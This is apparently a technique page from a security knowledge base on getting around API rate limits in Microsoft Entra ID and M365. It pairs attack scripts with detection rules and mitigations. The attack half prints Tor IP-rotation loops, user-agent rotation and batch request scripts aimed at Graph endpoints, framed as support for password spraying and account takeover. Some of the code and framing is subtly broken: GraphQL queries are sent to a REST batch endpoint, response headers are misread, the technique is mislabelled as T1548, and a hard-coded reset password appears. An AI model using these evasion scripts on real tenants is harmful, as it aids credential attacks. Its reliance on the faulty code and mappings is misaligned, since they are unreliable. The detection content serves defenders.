| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-003 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Entra ID / M365 |
| Severity | Medium |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All (Cloud-based, version-agnostic) |
| Patched In | N/A (Defense-dependent) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: API rate limiting is a defensive mechanism implemented by cloud providers (Microsoft, Azure, M365) to prevent abuse and protect service availability. However, attackers can bypass these limits through multiple techniques including HTTP header manipulation, request batching (GraphQL), IP rotation, request throttling patterns, and cached response reuse. This allows an attacker to conduct brute-force attacks, enumerate resources, or perform denial-of-service operations against Entra ID, Graph API, and M365 endpoints without triggering rate-limit blocks that typically return HTTP 429 (Too Many Requests) responses.
Attack Surface: Azure/M365 API endpoints (Graph API, Azure Portal API, Exchange Online, SharePoint Online), OAuth 2.0 token endpoints, sign-in endpoints.
Business Impact: An attacker can bypass brute-force protections, automate reconnaissance at scale, and launch credential spray attacks without alerting security monitoring systems that depend on 429 responses. This directly enables Account Takeover (ATO) campaigns and credential compromise at enterprise scale.
Technical Context: Rate limiting bypass typically takes seconds to minutes per exploit attempt. Detection likelihood is Low to Medium because most organizations monitor HTTP 429 errors as the primary indicator; attackers who successfully bypass limits generate normal 200/401 responses. Reversibility: No – the damage (compromised accounts, exfiltrated data) cannot be undone without incident response.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Azure 5.2 | Ensure that ‘Require multi-factor authentication’ is ‘On’ for all non-privileged users | | DISA STIG | SI-2 (a)(1) | Information System Flaws - Identify, report, and correct flaws in a timely manner | | CISA SCuBA | CISA AAD 4.5 | Enforce account lockout policies after failed login attempts | | NIST 800-53 | AC-2 - Account Management | Implement account management controls including login attempt restrictions | | GDPR | Art. 32 - Security of Processing | Implement technical measures to prevent unauthorized access | | DORA | Art. 9 - Protection and Prevention | Implement protections against information and communication technology (ICT) threats | | NIS2 | Art. 21 - Cyber Risk Management Measures | Implement measures to detect and prevent cyber attacks | | ISO 27001 | A.9.2.2 - User Access Management | Restrict access to information and systems based on need-to-know principle | | ISO 27005 | Risk Scenario: “Brute Force Attack on Authentication Service” | Breach of user credentials through rate-limit bypass |
# Check Microsoft Graph API rate limit headers
$Uri = "https://graph.microsoft.com/v1.0/me"
$Response = Invoke-RestMethod -Uri $Uri -Headers @{"Authorization" = "Bearer $token"}
# Examine response headers for rate limit information
Write-Host "Throttle Limit: $(($Response.Headers.'RateLimit-Limit'))"
Write-Host "Throttle Remaining: $(($Response.Headers.'RateLimit-Remaining'))"
Write-Host "Throttle Reset: $(($Response.Headers.'RateLimit-Reset'))"
What to Look For:
RateLimit-Limit: Maximum requests per time window (e.g., 1000)RateLimit-Remaining: Requests left in current windowRateLimit-Reset: Unix timestamp when limit resetsRetry-After: Time (in seconds) to wait before retrying (set on 429 responses)Version Note: All M365/Entra ID APIs follow similar patterns, though specific limits vary by endpoint (e.g., Graph API vs. Exchange Online REST API).
# Check Azure rate limit headers using curl
curl -H "Authorization: Bearer $TOKEN" \
https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Compute/virtualMachines?api-version=2021-01-01 \
-I | grep -i "ratelimit\|retry-after"
What to Look For:
Supported Versions: All (Cloud-based)
Objective: Determine the time window and request quota for the target endpoint
Command:
$token = "YOUR_ACCESS_TOKEN"
$Uri = "https://graph.microsoft.com/v1.0/users"
for ($i = 1; $i -le 5; $i++) {
$Response = Invoke-RestMethod -Uri $Uri -Headers @{
"Authorization" = "Bearer $token"
"User-Agent" = "Custom-Agent-$i"
} -ErrorAction SilentlyContinue
$RateLimitRemaining = $Response.Headers['RateLimit-Remaining']
Write-Host "Request $i - Remaining Quota: $RateLimitRemaining"
}
Expected Output:
Request 1 - Remaining Quota: 999
Request 2 - Remaining Quota: 998
Request 3 - Remaining Quota: 997
...
What This Means:
OpSec & Evasion:
Troubleshooting:
Retry-After seconds before retryingReferences & Proofs:
Objective: Send multiple requests in a single API call to bypass per-request rate limits
Command:
# GraphQL batch query to Entra ID (if exposed)
$GraphQLBatch = @{
"requests" = @(
@{ "query" = "query { users { displayName userPrincipalName } }" },
@{ "query" = "query { groups { displayName members { displayName } } }" },
@{ "query" = "query { applications { displayName } }" }
)
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/`$batch" `
-Method POST `
-Headers @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
} `
-Body $GraphQLBatch
Expected Output:
{
"responses": [
{ "id": "1", "status": 200, "body": { "value": [...] } },
{ "id": "2", "status": 200, "body": { "value": [...] } },
{ "id": "3", "status": 200, "body": { "value": [...] } }
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Distribute requests across multiple source IPs to evade IP-based rate limiting
Command (Bash with Tor):
#!/bin/bash
# Rotate Tor exit node for each request
for i in {1..100}; do
# Renew Tor circuit
echo -e "AUTHENTICATE \"password\"\r\nSIGNAL NEWNYM\r\nQUIT" | \
nc 127.0.0.1 9051
# Sleep to allow new exit node to activate
sleep 1
# Make request through Tor
curl -s --socks5-hostname 127.0.0.1:9050 \
-H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users/test@domain.com" \
-w "Request $i - HTTP %{http_code}\n"
# Random delay between requests (1-5 seconds)
sleep $((RANDOM % 5 + 1))
done
Expected Output:
Request 1 - HTTP 200
Request 2 - HTTP 200
Request 3 - HTTP 200
...
Request 100 - HTTP 200
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Store API responses and serve cached data instead of making new requests
Command (Python with Redis):
import redis
import requests
import time
import json
# Connect to Redis cache
cache = redis.Redis(host='localhost', port=6379, db=0)
TOKEN = "YOUR_ACCESS_TOKEN"
def get_user_with_cache(user_id, ttl=3600):
"""Fetch user data with caching to bypass rate limits"""
# Check if user data is in cache
cache_key = f"user:{user_id}"
cached_data = cache.get(cache_key)
if cached_data:
print(f"[CACHE HIT] Returning cached data for {user_id}")
return json.loads(cached_data)
# Data not in cache; make API request
print(f"[API CALL] Fetching fresh data for {user_id}")
url = f"https://graph.microsoft.com/v1.0/users/{user_id}"
headers = {"Authorization": f"Bearer {TOKEN}"}
response = requests.get(url, headers=headers)
if response.status_code == 200:
data = response.json()
# Cache the response for TTL seconds
cache.setex(cache_key, ttl, json.dumps(data))
return data
else:
return None
# Simulate multiple requests for same user
for i in range(10):
user_data = get_user_with_cache("user1@domain.com", ttl=300)
print(f"Request {i+1}: {user_data.get('displayName') if user_data else 'N/A'}")
time.sleep(0.1)
Expected Output:
[API CALL] Fetching fresh data for user1@domain.com
Request 1: John Doe
[CACHE HIT] Returning cached data for user1@domain.com
Request 2: John Doe
[CACHE HIT] Returning cached data for user1@domain.com
Request 3: John Doe
...
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Rule Configuration:
SPL Query:
index=azure_activity (status_code=429 OR http_status_code=429)
| stats count as rate_limit_hits by user, src_ip, time
| where rate_limit_hits > 5
| timechart dc(request_id) as total_requests by user, src_ip
| where total_requests > 50
What This Detects:
Manual Configuration Steps:
total_requests > 50”Source: Microsoft Graph API Throttling Documentation
Rule Configuration:
KQL Query:
AuditLogs
| where ResultDescription has "429" or ResultDescription has "throttled"
| extend IpAddress = tostring(InitiatedBy.user.ipAddress)
| summarize
rate_limit_hits = dcount(RequestId),
unique_operations = dcount(OperationName),
time_range = max(TimeGenerated) - min(TimeGenerated)
by InitiatedBy.user.userPrincipalName, IpAddress, bin(TimeGenerated, 5m)
| where rate_limit_hits > 5 and unique_operations > 10
| project
UserPrincipalName = InitiatedBy_user_userPrincipalName,
SourceIP = IpAddress,
RateLimitHits = rate_limit_hits,
UniqueOperations = unique_operations,
WindowEnd = TimeGenerated
What This Detects:
Manual Configuration Steps (Azure Portal):
API Rate Limit Bypass AttemptMedium10 minutes1 hourUserPrincipalName and SourceIPManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Define the KQL query
$Query = @"
AuditLogs
| where ResultDescription has "429" or ResultDescription has "throttled"
| extend IpAddress = tostring(InitiatedBy.user.ipAddress)
| summarize
rate_limit_hits = dcount(RequestId),
unique_operations = dcount(OperationName)
by InitiatedBy.user.userPrincipalName, IpAddress, bin(TimeGenerated, 5m)
| where rate_limit_hits > 5 and unique_operations > 10
"@
# Create scheduled rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "API Rate Limit Bypass Attempt" `
-Query $Query `
-Severity "Medium" `
-Frequency "PT10M" `
-Period "PT1H" `
-Enabled $true `
-SuppressionEnabled $false
Source: Microsoft Sentinel Threat Detection Documentation
Event ID: 4688 (Process Creation)
CommandLine contains "graph.microsoft.com" or CommandLine contains "management.azure.com"Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableMinimum Sysmon Version: 13.0+ Supported Platforms: Windows
<!-- Detect child processes making API calls via curl/wget/PowerShell -->
<RuleGroup name="API Rate Limit Bypass" groupRelation="or">
<ProcessCreate onmatch="all">
<Image condition="end with">curl.exe</Image>
<CommandLine condition="contains any">graph.microsoft.com;management.azure.com;login.microsoft.com</CommandLine>
<ParentImage condition="is not">powershell.exe</ParentImage>
</ProcessCreate>
<ProcessCreate onmatch="all">
<Image condition="end with">powershell.exe</Image>
<CommandLine condition="contains any">Invoke-RestMethod;Invoke-WebRequest;graph.microsoft.com</CommandLine>
<CommandLine condition="contains">for</CommandLine> <!-- Loop indicates repeated calls -->
</ProcessCreate>
<ProcessCreate onmatch="all">
<Image condition="end with">python.exe</Image>
<CommandLine condition="contains any">requests.post;requests.get;graph.microsoft.com</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious API Activity - Rate Limit Bypass Pattern Detected”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Alerts Reference
# Search for high-volume API requests from single user
Search-UnifiedAuditLog `
-Operations AzureActiveDirectoryAccountLogon,AzureActiveDirectoryDirectoryAdministration `
-StartDate (Get-Date).AddDays(-1) `
-EndDate (Get-Date) `
| Group-Object UserIds `
| Where-Object { $_.Count -gt 500 } `
| Select-Object Name, Count
ResultStatus field (look for failures followed by successes)ClientIP field (multiple IPs indicate proxy/rotation)UserAgent field (rotating or spoofed user agents indicate automation)Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
PowerShell Alternative:
Connect-ExchangeOnline
# Export sign-in attempts from past 30 days
Search-UnifiedAuditLog `
-StartDate "2024-12-09" `
-EndDate "2025-01-09" `
-Operations "UserLoggedIn" `
-ResultStatus "Failed" `
| Export-Csv -Path "C:\\Audit\\FailedSignins.csv" -NoTypeInformation
# Analyze for patterns
$AuditData = Import-Csv "C:\\Audit\\FailedSignins.csv"
$AuditData `
| Group-Object UserIds `
| Where-Object { $_.Count -gt 50 } `
| ForEach-Object {
Write-Host "User: $($_.Name) - Failed Attempts: $($_.Count)"
}
Enable Conditional Access with IP-based Blocking: Implement policies that block sign-ins from suspicious IPs or unusual geographic locations. Applies To Versions: Entra ID (All versions)
Manual Steps (Azure Portal):
Block Suspicious IPsManual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
$params = @{
DisplayName = "Block Suspicious IPs"
State = "enabled"
Conditions = @{
Locations = @{
IncludeLocations = @("All")
ExcludeLocations = @("Trusted")
}
}
GrantControls = @{
Operator = "OR"
BuiltInControls = @("block")
}
}
New-MgPolicyConditionalAccessPolicy -BodyParameter $params
Implement Account Lockout Policies: Configure account lockout after N failed attempts to prevent brute-force attacks. Applies To Versions: Entra ID (Requires Premium P1+)
Manual Steps (Azure Portal):
Enable MFA for All Users: Force multi-factor authentication to prevent account takeover even if credentials are compromised. Applies To Versions: Entra ID (All versions; can be enforced via Conditional Access)
Manual Steps (Azure Portal):
Require MFA for All UsersImplement API Throttling on Backend: Configure server-side rate limiting that enforces stricter limits for suspicious patterns (rapid requests, proxy IPs, etc.)
Manual Steps (Azure Function/Logic App):
# Implement token bucket algorithm in Azure Function
$RateLimitBucket = @{}
Function Invoke-RateLimiter {
param([string]$ClientId, [int]$MaxRequests = 100, [int]$WindowSeconds = 60)
if (-not $RateLimitBucket.ContainsKey($ClientId)) {
$RateLimitBucket[$ClientId] = @{
Count = 0
ResetTime = (Get-Date).AddSeconds($WindowSeconds)
}
}
$Bucket = $RateLimitBucket[$ClientId]
if ((Get-Date) -gt $Bucket.ResetTime) {
$Bucket.Count = 0
$Bucket.ResetTime = (Get-Date).AddSeconds($WindowSeconds)
}
if ($Bucket.Count -ge $MaxRequests) {
return $false # Request denied
}
$Bucket.Count++
return $true # Request allowed
}
Enable Azure Identity Protection: Automatically detects and responds to risky sign-in patterns. Applies To Versions: Entra ID Premium P2
Manual Steps (Azure Portal):
Monitor API Usage Metrics: Set up alerts for abnormal API request patterns.
Manual Steps (Azure Monitor):
# Verify Conditional Access policy is enforced
$ConditionalAccessPolicies = Get-MgPolicyConditionalAccessPolicy
$ConditionalAccessPolicies | Where-Object { $_.DisplayName -like "*Suspicious*" } | Format-Table DisplayName, State
# Expected Output (If Secure):
# DisplayName State
# --------------- -----
# Block Suspicious IPs enabled
What to Look For:
enabled statusResultStatus = "429" entries in AuditLogsRoleManagement.ReadWrite.Directory)TimeGenerated, OperationName, InitiatedBy, ResultDescription)# Disable compromised user account
Update-MgUser -UserId "user@domain.com" -AccountEnabled:$false
# Revoke all refresh tokens
Revoke-MgUserSignInSession -UserId "user@domain.com"
Manual (Azure Portal):
# Export audit logs
$StartDate = (Get-Date).AddDays(-7)
$EndDate = Get-Date
Search-UnifiedAuditLog -StartDate $StartDate -EndDate $EndDate `
-Operations "UserLoggedIn" -UserId "user@domain.com" `
| Export-Csv -Path "C:\\Evidence\\audit.csv" -NoTypeInformation
# Export Sentinel alerts
Get-MgSecurityAlert -Filter "status eq 'newAlert'" `
| Export-Csv -Path "C:\\Evidence\\alerts.csv" -NoTypeInformation
# Force password reset
Set-MgUserPassword -UserId "user@domain.com" -NewPassword "TempPassword123!" -ForceChangePasswordNextSignIn
# Remove suspicious app registrations
Remove-MgApplication -ApplicationId "suspicious-app-id"
# Revoke overprivileged API permissions
Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId "sp-id" -AppRoleAssignmentId "assignment-id"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker obtains initial access via device code phishing |
| 2 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker attempts brute-force via password spray |
| 3 | Current Step | [PE-ELEVATE-003] | API Rate Limiting Bypass - Attacker bypasses rate limits to escalate brute-force attacks |
| 4 | Credential Access | [CA-BRUTE-002] Distributed Password Spraying | Attacker conducts high-volume credential spray post-bypass |
| 5 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Escalation | Attacker escalates to Global Admin via compromised app |
| 6 | Persistence | [PERSIST-TOKEN-001] Golden SAML | Attacker establishes persistence via token forging |
| 7 | Impact | [EXFIL-M365-001] Bulk Data Exfiltration | Attacker exfiltrates sensitive data (mailboxes, documents) |